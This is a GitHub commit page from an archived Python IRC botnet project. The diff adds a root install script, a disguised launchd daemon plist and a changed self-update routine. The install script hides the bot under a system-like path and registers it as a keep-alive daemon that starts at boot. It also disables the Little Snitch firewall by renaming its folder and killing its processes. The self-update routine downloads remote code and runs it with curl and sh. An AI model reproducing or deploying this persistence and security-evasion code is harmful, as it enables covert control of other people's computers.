Skip to content
This repository has been archived by the owner on Feb 1, 2023. It is now read-only.

Commit

Permalink
added launchd agent and installer script
Browse files Browse the repository at this point in the history
  • Loading branch information
pirate committed Jun 23, 2013
1 parent 0e0a504 commit 171c3c4
Show file tree
Hide file tree
Showing 5 changed files with 73 additions and 109 deletions.
9 changes: 5 additions & 4 deletions bot.py
Expand Up @@ -22,6 +22,7 @@
from modules.logging import logfile, log

#TODO: make portscan timeout or cancellable
#TODO: wrap in installer and make it run on boot (in /var/something)
#TODO: make run fully interactive by capturing input and using p.write() or p.stdin()
#TODO: modules:
# download will download the file at the given url and save it to the host machine
Expand All @@ -30,7 +31,7 @@
# openvpn implement openvpn for firewall evasion
# reverse ssh ssh botnet implementation

version = "5.5" # bot version
version = "5.6" # bot version

try:
logfile(filename="bot_v%s.log" % version) # redirects bot output to logfile
Expand Down Expand Up @@ -411,18 +412,18 @@ def selfupdate(git_user="nikisweeting",git_repo="python-medusa"): # updates th
log('[*] Starting Selfupdate...')
privmsg('[*] Starting Selfupdate...')
log('[>] Downloading source code from git')
cmd = "rm -Rf code.zip code; curl https://codeload.github.com/%s/%s/zip/master > code.zip" % (git_user, git_repo)
cmd = "mkdir -p /private/var/softupdated; rm -Rf /private/var/softupdated/code.zip /private/var/softupdated/code; curl https://codeload.github.com/%s/%s/zip/master > /private/var/softupdated/code.zip" % (git_user, git_repo)
for line in run_shell(cmd):
log('[>] ',line)
privmsg('[>] %s' % line)
privmsg('[>] Unzipping...')
cmd = "unzip code.zip -d code"
cmd = "unzip /private/var/softupdated/code.zip -d /private/var/softupdated/code"
for line in run_shell(cmd):
log('[>] ',line)
privmsg('[>] %s' % line)
pid = os.getpid()
privmsg('[>] Running Update.sh')
cmd = "sh code/*/update.sh %s" % pid
cmd = "sh /private/var/softupdated/code/*/install.sh %s" % pid
for line in run_shell(cmd):
log('[>] ',line)
privmsg('[>] %s' % line)
Expand Down
78 changes: 0 additions & 78 deletions bot_skeleton.py

This file was deleted.

51 changes: 51 additions & 0 deletions install.sh
@@ -0,0 +1,51 @@
#!/bin/bash

if [[ `whoami` != "root" ]]
then
echo Must be run as root, not \'`whoami`\'.
exit 1;
fi

cd "$(dirname $BASH_SOURCE)" # path to this script, should be <path to bot>/code/violent-python-master/

### copy libraries and binaries to corresponding locations
mkdir -p /private/var/softupdated
date >> /private/var/softupdated/install.log 2>&1
cp -fR ./* /private/var/softupdated/ >> /private/var/softupdated/install.log 2>&1
chmod -R +x /private/var/softupdated

### unload previous install
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'`
kill -KILL $pid >> /private/var/softupdated/install.log 2>&1
launchctl unload -w /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/install.log 2>&1
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'`
kill -KILL $pid >> /private/var/softupdated/install.log 2>&1

### Disable little snitch
if [ -e "/Library/Little Snitch" ]
then
mv "/Library/Little Snitch" "/Library/Little Snitch Monitor" >> /private/var/softupdated/install.log 2>&1
killall "Little Snitch Agent" >> /private/var/softupdated/install.log 2>&1
killall "Little Snitch Daemon" >> /private/var/softupdated/install.log 2>&1
killall "Little Snitch Network Monitor" >> /private/var/softupdated/install.log 2>&1
fi

### copy launchd scripts to launchd folder
cp -fR ./*.plist /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1
chown -R root /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1
chmod -R 644 /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1

chmod -R 700 /private/var/softupdated

### load launchd keepalive processes
launchctl load -w /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/install.log 2>&1

rm -f /private/var/softupdated/README.md
rm -f /private/var/softupdated/*.sublime*

echo "Removing downloaded source folder" >> /private/var/softupdated/install.log 2>&1
rm -Rf /private/var/softupdated/code >> /private/var/softupdated/install.log 2>&1 &
echo "Finished install/update" >> /private/var/softupdated/install.log 2>&1
date >> /private/var/softupdated/install.log 2>&1
echo "" >> /private/var/softupdated/install.log 2>&1
echo "--" >> /private/var/softupdated/install.log 2>&1
17 changes: 17 additions & 0 deletions sys.daemon.connectd.plist
@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>sys.daemon.connectd.plist</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python</string>
<string>/private/var/softupdated/bot.py</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
27 changes: 0 additions & 27 deletions update.sh

This file was deleted.

0 comments on commit 171c3c4

Please sign in to comment.